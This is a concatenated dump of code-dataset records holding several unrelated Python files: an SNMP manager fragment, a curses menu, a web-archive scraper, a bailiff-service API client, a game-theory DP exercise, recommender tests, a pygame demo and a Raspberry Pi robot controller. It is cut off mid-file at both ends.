nonRepeaters=nonRepeaters,\n maxRepetitions=maxRepetitions,\n )\n\n return self.sendRequest(pdu, **kwargs)\n\n def getNext(self, *oids, **kwargs):\n pdu = GetNextRequestPDU(*oids)\n return self.sendRequest(pdu, **kwargs)\n\n def set(self, *varbinds, **kwargs):\n varbinds = (VarBind(*varbind) for varbind in varbinds)\n pdu = SetRequestPDU(*varbinds)\n return self.sendRequest(pdu, **kwargs)\n","sub_path":"snmp/manager/v2c.py","file_name":"v2c.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"327993302","text":"import sys\nimport curses\n\nimport globvars\n\n\ndef relative_direction(pos1, pos2):\n \"\"\"Returns the direction in which one would have to go from (pos1) to get to\n (pos2) the possible return values are 'up', 'down', 'left' and 'right'. If\n (pos1) and (pos2) are not on the same horizontal or vertical line or if\n (pos1 == pos2), None is returned.\"\"\"\n\n if pos1 == pos2:\n return None\n \n row1, col1 = pos1\n row2, col2 = pos2\n \n if row1 == row2:\n return 'left' if col1 - col2 > 0 else 'right'\n elif col1 == col2:\n return 'up' if row1 - row2 > 0 else 'down'\n else:\n return None\n\n \ndef move_pos(pos, direction):\n if direction not in {'up', 'down', 'left', 'right'}:\n raise ValueError(f'Invalid direction: direction')\n \n dx_dy = {'up': (-1, 0),\n 'down': (1, 0),\n 'left': (0, -1),\n 'right': (0, 1)}[direction]\n \n return (pos[0] + dx_dy[0], pos[1] + dx_dy[1])\n\n\nlogfile = 'log'\ndef log(text):\n with open(logfile, 'a') as f:\n print(text, file=f)\n \n# truncate \nwith open(logfile, 'w'):\n pass\n\n####################\n\"\"\"\nAttributes used:\n- items: the list of strings which are the item names\n- base\n\"\"\"\n\nclass List:\n # A non-empty list of item names (strings)\n items = None\n \n # The index of item that is at the top of the displayed list\n base = None\n \n # The index of the currently selected item on the screen. The index of the\n # actual item is (List.items) is (List.base + List.index)\n index = None\n \n # The screen where the list will be displayed.\n # Important: scr.keypad must be True.\n scr = None\n\n\n def get(items, scr=None):\n curses.curs_set(False)\n \n if not items:\n raise ValueError(f'(items) cannot be empty. Given {items}')\n \n List.scr = globvars.stdscr if scr is None else scr\n List.items = items\n List.base = 0\n List.index = 0\n\n # helper attributes\n List.nrows, List.ncols = List.scr.getmaxyx()\n \n return List.main()\n \n\n def main():\n List.show()\n while True:\n key = List.scr.getkey().lower()\n if key == 'q':\n return None\n elif key == 'key_up':\n List.move('up')\n elif key == 'key_down':\n List.move('down')\n elif key == '\\n':\n item = List.items[List.base + List.index]\n List.end()\n return item\n List.show()\n\n\n def move(direc):\n rindex = List.index + List.base\n if direc == 'down':\n if rindex == len(List.items) - 1:\n curses.beep()\n else:\n if List.index == List.nrows - 1:\n List.base += 1\n else:\n List.index += 1\n elif direc == 'up':\n if rindex == 0:\n curses.beep()\n else:\n if List.index == 0:\n List.base -= 1\n else:\n List.index -= 1\n else:\n raise ValueError(f'Invalid direction: \"{direc}\"')\n\n\n def end():\n List.scr.clear(); List.scr.refresh()\n List.scr = List.items = List.base = List.index = None\n\n\n def at(index):\n return List.items[List.base + index]\n\n \n def show():\n List.scr.clear()\n for r in range(min(List.nrows, len(List.items))):\n if r == List.index:\n List.scr.addstr(r, 0, List.at(r), curses.A_REVERSE)\n else:\n List.scr.addstr(r, 0, List.at(r))\n List.scr.refresh()\n\n\nif __name__ == '__main__':\n def main(scr):\n curses.curs_set(False)\n return List.get([f'choice{k}' for k in range(80)], scr)\n print(curses.wrapper(main))\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"17590653","text":"import json\nimport requests\nfrom bs4 import BeautifulSoup\n\ncpus = []\nfor year in range(2008, 2009): # 跑年份\n for month in range(7, 8): # 跑月份\n resp = requests.get(\n 'https://web.archive.org/web/' + str(year) + str(month).zfill(2) + '/http://www.coolpc.com.tw:80/evaluate.php')\n soup = BeautifulSoup(resp.text, 'html.parser')\n items = soup.find_all('tr', bgcolor='efefe0')[1].find_all('option')[2].text.strip().splitlines()\n\n for item in items:\n print(item)\n cpus.append({'item':item,'year':year,'month':month})\n\n with open('output\\\\output_' + str(year) + str(month).zfill(2) + '.json', 'w', encoding='utf-8-sig') as f:\n json.dump(cpus, f, indent=2, sort_keys=False, ensure_ascii=False)\n cpus=[]","sub_path":"coolpc_json.py","file_name":"coolpc_json.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"440946176","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport requests\nimport json\nimport time\n\ndef format_ip(msg):\n\n fmsg=[]\n fmsg.append('Должник (физ. лицо: ФИО, дата и место рождения; ')\n fmsg.append (msg['name'])\n fmsg.append ('ИСПОЛНИТЕЛЬНОЕ ПРОИЗВОДСТВО:')\n fmsg.append(msg['exe_production'])\n fmsg.append ('ИСПОЛНИТЕЛЬНЫЙ ДОКУМЕНТ:')\n fmsg.append(msg['details'])\n if len (msg['ip_end'])>0:\n fmsg.append ('Дата окончания, статья')\n fmsg.append(msg['ip_end']) \n if len (msg['subject'])>0:\n fmsg.append ('Предмет исполнения:')\n fmsg.append(msg['subject'])\n \n fmsg.append ('Отдел судебных приставов ')\n fmsg.append(msg['department'])\n fmsg.append ('Судебный пристав исполнитель')\n fmsg.append(msg['bailiff'].replace('
',' '))\n \n return fmsg\n\n\nclass FsspApi(object):\n base_url=\"https://api-ip.fssprus.ru/api/v1.0\"\n region = ''\n lastname = ''\n firstname = ''\n r_status_code=''\n status = -1\n answ = ''\n result = ''\n task = ''\n token = ''\n\n def __init__(self,token):\n self.token=token\n \n def set_lastname(self,lastname):\n self.lastname=lastname\n\n def set_firstname(self,firstname):\n self.firstname=firstname\n \n def set_region(self,region):\n self.region=region\n \n def search_phisycal(self):\n print({'token': self.token,\n 'region': self.region,\n 'firstname': self.firstname,\n 'lastname': self.lastname})\n \n req=requests.get(self.base_url+'/search/physical', params=\n {'token': self.token,\n 'region': self.region,\n 'firstname': self.firstname,\n 'lastname': self.lastname\n })\n print (req.url)\n if (req.status_code==200):\n # print (req.__dir__,req.url)\n # print ((req.content), type (req.content))\n jsdata = json.loads (req.text)\n self.task=jsdata['response']['task']\n self.r_status = req.status_code\n\n def get_status_task(self):\n rr = False\n req=requests.get(self.base_url+'/status', params=\n {\n 'token': self.token,\n 'task': self.task\n })\n print (self.task,req)\n print (req.url)\n if req.status_code==200:\n print (req.text)\n jsdata = json.loads (req.text)\n self.status = jsdata['response']['status']\n print (type(jsdata['response']['status']),\n jsdata['response']['status'])\n if jsdata['response']['status'] == 0:\n rr = True\n elif jsdata['response']['status'] == 3:\n rr = True\n self.r_status = req.status_code\n\n return rr\n\n def wait_for(self):\n \n while 1:\n print(self.status)\n time.sleep (5)\n if self.get_status_task():\n break\n\n def get_result(self):\n req=requests.get(self.base_url+'/result', params=\n {\n 'token': self.token,\n 'task': self.task\n })\n print(req.url)\n\n if req.status_code == 200:\n jsdata = json.loads(req.text)\n list_ip = jsdata['response']['result'][0]['result']\n self.result = list_ip\n def get_res(self):\n pass\n \n","sub_path":"fsspbotdb/fsspapi.py","file_name":"fsspapi.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"127827168","text":"\"\"\"\nfrom cs161 note20\nsubtract a square\nGame position: pile of counters\nmove: take away a square number of counters (any square)\ngoal: win by moving to zero left (take all remaining counters)\n\nvalue = +1 if player who is about to move wins\n\t\t-1 if player who is about to move is losing\nvalue(n) = max (- value(n-s)) for s = 1,4,9...\npositions with value -1( the ones you want to move to): 0,2,5,7,10,12,..\n\"\"\"\nimport math\nimport random\n\n\ndef value(n):\n\tDP = [None for _ in range(n + 1)]\n\tDP[0] = -1 # base case. when nothing left, lose\n\tfor i in range(1, n + 1):\n\t\tDP[i] = max(-DP[i - s ** 2] for s in range(1, math.floor(math.sqrt(i)) + 1))\n\treturn DP\n# time: O(n*n^(1/2)) = O(n^(3/2))\n\ndef simulation(n):\n\tif n == 0:\n\t\tprint(\"n=0, win\")\n\t\treturn\n\tDP = value(n)\n\tprint(\"- current DP: \", DP)\n\tfor s in range(math.floor(math.sqrt(n)), 0, -1): # we want to win fast, so pick as many as possible\n\t\tif DP[n - s ** 2] == -1: # we want to go to positions with value -1, so opponent will lose\n\t\t\tprint(\"have win positions, pick \", s ** 2, \"left: \", n - s ** 2)\n\t\t\tsimulation(n - s ** 2)\n\t\t\treturn\n\ts = random.randint(1, math.floor(math.sqrt(n)))\n\tprint(\"loosing, pick random: \", s ** 2)\n\tsimulation(n - s ** 2)\n\n\nsimulation(18)\n","sub_path":"algorithmCodes/dynamicProgramming/subtractAsquare.py","file_name":"subtractAsquare.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"603410608","text":"#!/usr/bin/python3\n# coding=utf-8\n\"\"\"\n\n@Time : 18-11-2 下午3:53\n@Author : qcymkxyc\n@Email : qcymkxyc@163.com\n@File : base_rec_test.py\n@Software: PyCharm\n\n基本基于标签的推荐测试\n\n\"\"\"\nimport unittest\nfrom main.util import delicious_reader\nfrom main.chapter4 import TagBasedTFIDF\n\n\nclass BaseRecTestCase(unittest.TestCase):\n\n def test_recommend(self):\n \"\"\"测试单个用户推荐\"\"\"\n data = delicious_reader.read_tag(\"../data/delicious-2k/user_taggedbookmarks-timestamps.dat\", 1)\n base_rec_model = TagBasedTFIDF()\n\n # 未训练\n with self.assertRaises(AttributeError):\n base_rec_model.recommend(8, 3)\n\n # 正常推荐\n base_rec_model.train(data)\n\n user_id = 10523\n self.assertEqual(10, len(base_rec_model.recommend(user_id, 10)))\n self.assertTrue(isinstance(base_rec_model.recommend(user_id, 10), list))\n recommend = base_rec_model.recommend(user_id, 10)\n for i in recommend:\n self.assertFalse(isinstance(i, tuple))\n\n # 冷启动\n self.assertEqual(10, len(base_rec_model.recommend(-1, 10)))\n\n def test_recommend_users(self):\n \"\"\"测试多个用户推荐\"\"\"\n users = [8, 32, 10523]\n\n base_rec_model = TagBasedTFIDF()\n train, test = delicious_reader.split_data(\"../data/delicious-2k/user_taggedbookmarks-timestamps.dat\", k=1)\n base_rec_model.train(train)\n recommends = base_rec_model.recommend_users(users, 10)\n\n for user, recommend in recommends.items():\n self.assertEqual(10, len(recommend))\n self.assertTrue(user in users)\n\n transform_test = dict()\n for user_id, item_id, tag_id in test:\n transform_test.setdefault(user_id, [])\n transform_test[user_id].append(item_id)\n\n temp_test = dict(list(transform_test.items())[:10])\n recommend_user = list(temp_test.keys())\n recommends = base_rec_model.recommend_users(recommend_user, 10)\n\n for user_id, items in recommends.items():\n print(\"{user}:{item}\".format(user=user_id, item=items))\n for user_id, items in temp_test.items():\n print(\"{user}:{item}\".format(user=user_id, item=items))\n","sub_path":"test/chapter4/TFIDF_rec_test.py","file_name":"TFIDF_rec_test.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"308016286","text":"import pygame\nimport sys\nfrom math import pi\n\npygame.init()\nscreen = pygame.display.set_mode((600, 400))\npygame.display.set_caption(\"图形绘制\")\n\nPURPLE = 160, 32, 240\nGODL = 255, 251, 0\nRED = pygame.Color(\"red\")\nWHITE = 255, 255, 255\nGREEN = pygame.Color('green')\n\n# r1 = pygame.draw.rect(screen, GODL, (100, 100, 200, 100), 5)\n# r2 = pygame.draw.rect(screen, RED, (210, 210, 200, 100), 0)\n\nr1 = pygame.draw.ellipse(screen, GREEN, (50, 50, 500, 300), 3)\nr2 = pygame.draw.circle(screen, GODL, (200, 180), 30, 5)\nr3 = pygame.draw.circle(screen, GODL, (400, 180), 30)\nr4 = pygame.draw.rect(screen, RED, (170, 130, 60, 10), 3)\nr5 = pygame.draw.rect(screen, RED, (370, 130, 60, 10))\nplist = [(295, 170), (285, 250), (260, 280), (340, 280), (315, 250), (305, 170)]\nr6 = pygame.draw.lines(screen, PURPLE, True, plist, 2)\nr7 = pygame.draw.arc(screen, PURPLE, (200, 220, 200, 100), 1.4*pi, 1.9*pi, 3)\n\n\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n pygame.display.update()\n","sub_path":"pygame/碰壁游戏/demo9.py","file_name":"demo9.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"234171790","text":"# IMPORT MODULES FROM SUBFOLDERS #\n\"\"\" It's neccesary in order to import modules not in the same folder, but in a different one.\nThis is the way to tell python the location on those subfolders: \"\"\"\nimport os, sys, inspect\n\ncmd_folder = os.path.realpath(os.path.abspath(os.path.split(inspect.getfile( inspect.currentframe() ))[0]))\nif cmd_folder not in sys.path:\n sys.path.insert(0, cmd_folder)\n\n# Subfolder \"lowlevel\"\ncmd_subfolder = os.path.realpath(os.path.abspath(os.path.join(os.path.split(inspect.getfile( inspect.currentframe() ))[0],\"lowlevel\")))\nif cmd_subfolder not in sys.path:\n sys.path.insert(0, cmd_subfolder)\n# ------------------------------ #\n\nfrom motors import Motor\nfrom sensors import Sensors\nfrom actuators import Actuators\nimport messages\n\nimport enums\nimport time\nimport numpy as np\n#import thread\n#import threading\nimport RPi.GPIO as GPIO\nfrom multiprocessing import Process\n\n\nGPIO.setmode(GPIO.BCM)\n\n#def synchronized(method):\n\n# def new_method(self, *arg, **kws):\n# with self.lock:\n# return method(self, *arg, **kws)\n\n\n# return new_method\n\n\nclass Tortoise:\n\n def __init__(self):\n\n global isLightCalibrated\n global lowerBoundLight\n global upperBoundLight\n\n GPIO.setwarnings(False)\n\n# self.lock = threading.RLock()\n\n self.lastRandomCommand = None\n self.timesSameRandomCommandExecuted = 0\n self.numberRepeatsRandomCommand = -1\n self.lastRandomStepsWheelA = None\n self.lastRandomStepsWheelB = None\n self.lastRandomDirection = None\n\n isLightCalibrated = False\n lowerBoundLight = 0\n upperBoundLight = 0\n\n # Previous: [4, 17, 23, 24, 27, 22, 18, 5]\n motorPins = [13, 6, 5, 7, 20, 10, 9, 11]\n ledPins = [8, 16, 25, 12]\n\n # CREATING FILE WITH PID\n\n # PID of process\n pid = os.getpid()\n\n # ~/.tortoise_pids/\n directory = os.path.expanduser(\"~\") + \"/.tortoise_pids/\"\n\n # Filename: [PID].pid\n f = open(directory + str(pid) + \".pid\", \"w\")\n\n # First line: motor pins\n f.write(str(motorPins[0]) + \" \" + str(motorPins[1]) + \" \" + str(motorPins[2]) + \" \" + str(motorPins[3]) + \" \" + str(motorPins[4]) + \" \" + str(motorPins[5]) + \" \" + str(motorPins[6]) + \" \" + str(motorPins[7]) + \"\\n\")\n\n # Second line: LED pins\n f.write(str(ledPins[0]) + \" \" + str(ledPins[1]) + \" \" + str(ledPins[2]) + \" \" + str(ledPins[3]) + \"\\n\")\n\n f.close()\n # ----------------------\n\n\n # TODO: change to self.Motor.Left\n self.A = Motor(motorPins[0], motorPins[1], motorPins[2], motorPins[3])\n self.B = Motor(motorPins[4], motorPins[5], motorPins[6], motorPins[7])\n self.sensors = Sensors()\n self.actuators = Actuators()\n self.minDelayMotors = 2\n self.state = enums.State.paused\n\n\n self.sensors.setSensor(enums.SensorType.light, 1, 17) # Previous: 16\n self.sensors.setSensor(enums.SensorType.light, 2, 4) # Previous: 2\n self.sensors.setSensor(enums.SensorType.emergencyStop, 1, 3) # Previous: 6\n self.sensors.setSensor(enums.SensorType.touch, 1, 27) # Previous: 8\n self.sensors.setSensor(enums.SensorType.touch, 2, 2) # Previous: 13\n self.sensors.setSensor(enums.SensorType.touch, 3, 18) # Previous: 7\n self.sensors.setSensor(enums.SensorType.proximity, 1, 19) # Previous: 10\n self.sensors.setSensor(enums.SensorType.proximity, 2, 21) # Previous: 11\n self.sensors.setSensor(enums.SensorType.proximity, 3, 22) # Previous: x\n self.sensors.setSensor(enums.SensorType.proximity, 4, 26) # Previous: x\n\n self.actuators.initActuator(enums.ActuatorType.led, 1, ledPins[0]) # Previous: 19\n self.actuators.initActuator(enums.ActuatorType.led, 2, ledPins[1]) # Previous: 26\n self.actuators.initActuator(enums.ActuatorType.led, 3, ledPins[2]) # Previous: x\n self.actuators.initActuator(enums.ActuatorType.led, 4, ledPins[3]) # Previous: x\n\n self.lastTouch = [-1,-1,-1]\n\n #print \"light sensor value:\"\n #print self.sensors.readSensor(enums.SensorType.light, 1)\n #if not isLightCalibrated:\n #self.calibrateLight()\n\n# try:\n# thread.start_new_thread(self.pauseAndResume, ())\n# except:\n# print \"Error: unable to start thread\"\n\n messages.printMessage('greetings')\n while self.getSensorData(enums.SensorType.emergencyStop, 1) == 0:\n time.sleep(0.1)\n\n messages.printMessage('running')\n\n self.state = enums.State.running\n\n\n def getStateTortoise(self):\n return self.state\n\n\n def setStateTortoise(self, toState):\n self.state = toState\n\n\n def calibrateLight(self):\n global lowerBoundLight, upperBoundLight, isLightCalibrated\n\n messages.printMessage('calibration_ambient')\n raw_input()\n #lowerBoundLight = max(self.sensors.readSensor(enums.SensorType.light, 1), self.sensors.readSensor(enums.SensorType.light, 2))\n lowerBoundLight = self.sensors.readSensor(enums.SensorType.light, 1)\n #print \"Light in normal conditions is: \", lowerBoundLight\n\n messages.printMessage('calibration_light_source')\n raw_input()\n #upperBoundLight = min((self.sensors.readSensor(enums.SensorType.light, 1), self.sensors.readSensor(enums.SensorType.light, 2)))\n upperBoundLight = self.sensors.readSensor(enums.SensorType.light, 1)\n# print \"Light when there is a light source is:\", upperBoundLight\n\n isLightCalibrated = True\n\n messages.printMessage('calibration_complete')\n\n\n\n def getSensorData(self, sensor_type, position):\n\n if (sensor_type == enums.SensorType.touch):\n\n if (position < 1 or position > 3):\n\n messages.printMessage('bad_touch_sensor')\n self.blinkLEDs_error()\n return -1\n\n elif (sensor_type == enums.SensorType.light):\n\n if (position != 1 and position!=2):\n\n messages.printMessage('bad_light_sensor')\n self.blinkLEDs_error()\n return -1\n\n elif (sensor_type == enums.SensorType.proximity):\n\n if (position < 1 or position > 4):\n\n messages.printMessage('bad_proximity_sensor')\n self.blinkLEDs_error()\n return -1\n\n elif (sensor_type == enums.SensorType.emergencyStop):\n\n if (position != 1):\n\n messages.printMessage('bad_emergency_sensor')\n self.blinkLEDs_error()\n return -1\n\n else:\n messages.printMessage('bad_sensor')\n self.blinkLEDs_error()\n return -1\n\n\n value = self.sensors.readSensor(sensor_type, position)\n\n if sensor_type == enums.SensorType.light:\n return value\n if (upperBoundLight - lowerBoundLight) == 0:\n messages.printMessage('no_calibration')\n self.blinkLEDs_error()\n return -1\n\n # Scale\n lightVal = int(9 - round(abs(value-upperBoundLight)/(abs(upperBoundLight - lowerBoundLight)/9)))\n\n if lightVal < 0:\n messages.printMessage('no_calibration')\n self.blinkLEDs_error()\n return -1\n\n return lightVal\n\n elif sensor_type == enums.SensorType.touch:\n\n return self.getSwitchTriggered(position,value)\n\n elif sensor_type == enums.SensorType.emergencyStop:\n\n return value % 2\n\n else:\n return value\n\n def getSwitchTriggered(self, position, value):\n if self.lastTouch[position-1]<0:\n self.lastTouch[position-1]=value\n return 0\n elif self.lastTouch[position-1]==value:\n return 0\n else:\n self.lastTouch[position-1]=value\n return 1\n\n\n def getLEDValue(self, position):\n\n if (position < 1 or position > 4):\n messages.printMessage('bad_LED')\n self.blinkLEDs_error()\n return -1\n\n return self.actuators.getActuatorValue(enums.ActuatorType.led, position)\n\n\n\n def setLEDValue(self, position, value):\n\n if(position < 1 or position > 4):\n messages.printMessage('bad_LED')\n self.blinkLEDs_error()\n return -1\n\n if(value != 0 and value != 1):\n messages.printMessage('bad_LED_value')\n self.blinkLEDs_error()\n return -1\n\n self.actuators.setActuatorValue(enums.ActuatorType.led, position, value)\n return 0\n\n\n\n def blinkLEDs(self, positions, numberOfBlinks, delay, blocking = False):\n\n if numberOfBlinks < 0:\n messages.printMessage('blinks_negative')\n self.blinkLEDs_error()\n return -1\n\n if numberOfBlinks == 0:\n messages.printMessage('blinks_zero')\n self.blinkLEDs_error()\n return -1\n\n if delay < 0:\n messages.printMessage('blinking_fast')\n self.blinkLEDs_error()\n return -1\n\n\n try:\n for y in range(0, len(positions)):\n\n if positions[y] < 0 or positions[y] > 4:\n messages.printMessage('bad_LED')\n self.blinkLEDs_error()\n return -1\n\n except TypeError: # It's not an array but an integer\n\n if positions < 0 or positions > 4:\n messages.printMessage('bad_LED')\n self.blinkLEDs_error()\n return -1\n\n\n\n previousStateLEDs = [ self.getLEDValue(x) for x in range(1, 5) ]\n\n cont = True\n\n # Infinite loop to \"stop\" the execution of the program and keep blinkind the LEDs\n while cont:\n\n for x in range(0, numberOfBlinks):\n\n try:\n for y in range(0, len(positions)):\n\n self.actuators.setActuatorValue(enums.ActuatorType.led, positions[y], 1)\n\n time.sleep(delay)\n\n for y in range(0, len(positions)):\n self.actuators.setActuatorValue(enums.ActuatorType.led, positions[y], 0)\n\n time.sleep(delay)\n\n except TypeError: # It's not an array but an integer\n\n self.actuators.setActuatorValue(enums.ActuatorType.led, positions, 1)\n time.sleep(delay)\n self.actuators.setActuatorValue(enums.ActuatorType.led, positions, 0)\n time.sleep(delay)\n\n\n cont = blocking\n\n\n\n # If it doesn't block, the previous state of the LEDs is restored\n for x in range(1, 5):\n self.setLEDValue(x, previousStateLEDs[x - 1])\n\n return 0\n\n\n def blinkLEDs_error(self):\n self.blinkLEDs([1, 2, 3, 4], 3, 0.2, blocking = True)\n\n\n\n def moveMotors(self, stepsWheelA, stepsWheelB, delayWheelA, delayWheelB, direction):\n\n if( direction != enums.Direction.backwards_right and direction != enums.Direction.backwards_left and direction != enums.Direction.forwards_right and direction != enums.Direction.forwards_left and direction != enums.Direction.forwards and direction != enums.Direction.backwards and direction != enums.Direction.clockwise and direction != enums.Direction.counterClockwise ) :\n\n messages.printMessage('bad_direction')\n self.blinkLEDs_error()\n return -1\n\n if(stepsWheelA < 0 or stepsWheelB < 0):\n messages.printMessage('bad_steps')\n self.blinkLEDs_error()\n return -1\n\n if((stepsWheelA > 0 and delayWheelA < self.minDelayMotors) or (stepsWheelB > 0 and delayWheelB < self.minDelayMotors)):\n messages.printMessage('bad_delay')\n self.blinkLEDs_error()\n return -1\n\n # If a stop command has been sent, the turtle will stop its movement\n if self.getSensorData(enums.SensorType.emergencyStop, 1) == 0:\n\n if self.getStateTortoise() == enums.State.running:\n\n self.setStateTortoise(enums.State.paused)\n messages.printMessage('paused')\n\n else:\n\n if self.getStateTortoise() == enums.State.paused:\n self.setStateTortoise(enums.State.running)\n messages.printMessage('resumed')\n\n motorAprocess_backwards = Process(target=self.A.backwards, args=(delayWheelA / 1000.00, stepsWheelA))\n motorBprocess_backwards = Process(target=self.B.backwards, args=(delayWheelB / 1000.00, stepsWheelB))\n motorAprocess_forwards = Process(target=self.A.forwards, args=(delayWheelA / 1000.00, stepsWheelA))\n motorBprocess_forwards = Process(target=self.B.forwards, args=(delayWheelB / 1000.00, stepsWheelB))\n\n\n if direction == enums.Direction.backwards_left or direction == enums.Direction.backwards or direction == enums.Direction.backwards_right:\n\n if stepsWheelA > 0:\n motorAprocess_backwards.start()\n\n if stepsWheelB > 0:\n motorBprocess_backwards.start()\n\n elif direction == enums.Direction.forwards_right or direction == enums.Direction.forwards or direction == enums.Direction.forwards_left:\n\n if stepsWheelA > 0:\n motorAprocess_forwards.start()\n\n if stepsWheelB > 0:\n motorBprocess_forwards.start()\n\n elif direction == enums.Direction.clockwise:\n\n if stepsWheelA > 0:\n motorAprocess_backwards.start()\n\n if stepsWheelB > 0:\n motorBprocess_forwards.start()\n\n elif direction == enums.Direction.counterClockwise:\n\n if stepsWheelA > 0:\n motorAprocess_forwards.start()\n\n if stepsWheelB > 0:\n motorBprocess_backwards.start()\n\n\n\n\n # The main loop pools the emergencyStop\n while motorAprocess_backwards.is_alive() or motorBprocess_backwards.is_alive() or motorAprocess_forwards.is_alive() or motorBprocess_forwards.is_alive():\n\n # If a stop command has been sent, the turtle will stop its movement\n if self.getSensorData(enums.SensorType.emergencyStop, 1) == 0:\n\n if self.getStateTortoise() == enums.State.running:\n\n self.setStateTortoise(enums.State.paused)\n messages.printMessage('paused')\n\n if motorAprocess_backwards.is_alive():\n motorAprocess_backwards.terminate()\n motorAprocess_backwards.join()\n\n if motorBprocess_backwards.is_alive():\n motorBprocess_backwards.terminate()\n motorBprocess_backwards.join()\n\n if motorAprocess_forwards.is_alive():\n motorAprocess_forwards.terminate()\n motorAprocess_forwards.join()\n\n if motorBprocess_forwards.is_alive():\n motorBprocess_forwards.terminate()\n motorBprocess_forwards.join()\n\n elif self.getStateTortoise() == enums.State.paused:\n self.setStateTortoise(enums.State.running)\n messages.printMessage('resumed')\n\n\n time.sleep(0.5)\n\n\n self.A.stopMotors()\n self.B.stopMotors()\n\n return 0\n\n\n\n def moveForwards(self, steps):\n\n return self.moveMotors(steps, steps, self.minDelayMotors, self.minDelayMotors, enums.Direction.forwards)\n\n\n\n def moveBackwards(self, steps):\n\n return self.moveMotors(steps, steps, self.minDelayMotors, self.minDelayMotors, enums.Direction.backwards)\n\n\n\n def turnOnTheSpot(self, steps, direction):\n\n if(steps < 0):\n messages.printMessage('bad_steps')\n self.blinkLEDs_error()\n return -1\n\n if( direction != enums.Direction.backwards_right and direction != enums.Direction.backwards_left and\n direction != enums.Direction.forwards_right and direction != enums.Direction.forwards_left ) :\n messages.printMessage('bad_direction_turn')\n self.blinkLEDs_error()\n return -1\n\n\n\n if direction == enums.Direction.backwards_right or direction == enums.Direction.forwards_right:\n return self.moveMotors(steps, 0, self.minDelayMotors, 0, direction)\n\n elif direction == enums.Direction.backwards_left or direction == enums.Direction.forwards_left:\n return self.moveMotors(0, steps, 0, self.minDelayMotors, direction)\n\n\n\n def shuffleOnTheSpot(self, steps, direction):\n\n if(steps < 0):\n messages.printMessage('bad_steps')\n self.blinkLEDs_error()\n return -1\n\n if( direction != enums.Direction.clockwise and direction != enums.Direction.counterClockwise ) :\n messages.printMessage('bad_shuffle')\n self.blinkLEDs_error()\n return -1\n\n\n\n return self.moveMotors(steps, steps, self.minDelayMotors, self.minDelayMotors, direction)\n\n\n\n\n\n def turn(self, stepsWheelA, stepsWheelB, direction):\n\n if( direction != enums.Direction.backwards_right and direction != enums.Direction.backwards_left and\n direction != enums.Direction.forwards_right and direction != enums.Direction.forwards_left ) :\n messages.printMessage('bad_direction_turn')\n self.blinkLEDs_error()\n return -1\n\n if (direction == enums.Direction.backwards_right or direction == enums.Direction.forwards_right) and (stepsWheelB >= stepsWheelA):\n messages.printMessage('bad_turn')\n self.blinkLEDs_error()\n return -1\n\n if (direction == enums.Direction.backwards_left or direction == enums.Direction.forwards_left) and (stepsWheelA >= stepsWheelB):\n messages.printMessage('bad_turn')\n self.blinkLEDs_error()\n return -1\n\n if(stepsWheelA < 0 or stepsWheelB < 0):\n messages.printMessage('bad_steps')\n self.blinkLEDs_error()\n return -1\n\n\n\n if direction == enums.Direction.backwards_right or direction == enums.Direction.forwards_right:\n\n delay = (stepsWheelA * self.minDelayMotors) / stepsWheelB\n\n return self.moveMotors(stepsWheelA, stepsWheelB, self.minDelayMotors, delay, direction)\n\n elif direction == enums.Direction.backwards_left or direction == enums.Direction.forwards_left:\n\n delay = (stepsWheelB * self.minDelayMotors) / stepsWheelA\n\n return self.moveMotors(stepsWheelA, stepsWheelB, delay, self.minDelayMotors, direction)\n\n\n\n def doRandomMovement2(self):\n\n maxTimesCommandRepeated = 3\n\n # New random command\n if self.numberRepeatsRandomCommand == -1 or self.timesSameRandomCommandExecuted == self.numberRepeatsRandomCommand:\n\n self.numberRepeatsRandomCommand = np.random.randint(maxTimesCommandRepeated + 1)\n self.timesSameRandomCommandExecuted = 0\n \n\n # Random number between 30 and 180\n numberOfSteps = np.random.randint(30, 180)\n\n self.lastRandomStepsWheelA = numberOfSteps\n self.lastRandomStepsWheelB = numberOfSteps\n \n\n # Random number between 0 and 1\n randomNumber = np.random.random_sample()\n\n if(randomNumber < 0.4):\n\n if(randomNumber < 0.2):\n\n self.moveForwards(numberOfSteps)\n self.lastRandomCommand = self.moveForwards\n\n else:\n\n self.moveBackwards(numberOfSteps)\n self.lastRandomCommand = self.moveBackwards\n\n else:\n\n # Random enums.Direction: left of right\n if(np.random.random_sample() < 0.5):\n direction = enums.Direction.forwards_left\n else:\n direction = enums.Direction.forwards_right\n\n self.lastRandomDirection = direction\n\n\n if(randomNumber < 0.7):\n self.turnOnTheSpot(numberOfSteps, direction)\n else:\n self.turnOnTheSpot(numberOfSteps, direction) \n\n \n self.lastRandomCommand = self.turnOnTheSpot\n\n\n\n # Repeat last command\n else:\n \n self.timesSameRandomCommandExecuted = self.timesSameRandomCommandExecuted + 1\n\n # TODO: change wheel A/B!\n\n if self.lastRandomCommand == self.moveForwards:\n\n self.moveForwards(self.lastRandomStepsWheelA)\n\n elif self.lastRandomCommand == self.moveBackwards:\n\n self.moveBackwards(self.lastRandomStepsWheelA)\n\n elif self.lastRandomCommand == self.turnOnTheSpot:\n\n self.turnOnTheSpot(self.lastRandomStepsWheelA, self.lastRandomDirection) \n\n\n\n def doRandomMovement(self):\n\n # Random number between 30 and (509/4 + 30)\n numberOfSteps = int(509/4*np.random.random_sample() + 30)\n\n # Random number between 0 and 1\n randomNumber = np.random.random_sample()\n\n if(randomNumber < 0.4):\n\n if(randomNumber < 0.2):\n\n self.moveForwards(numberOfSteps)\n\n else:\n\n 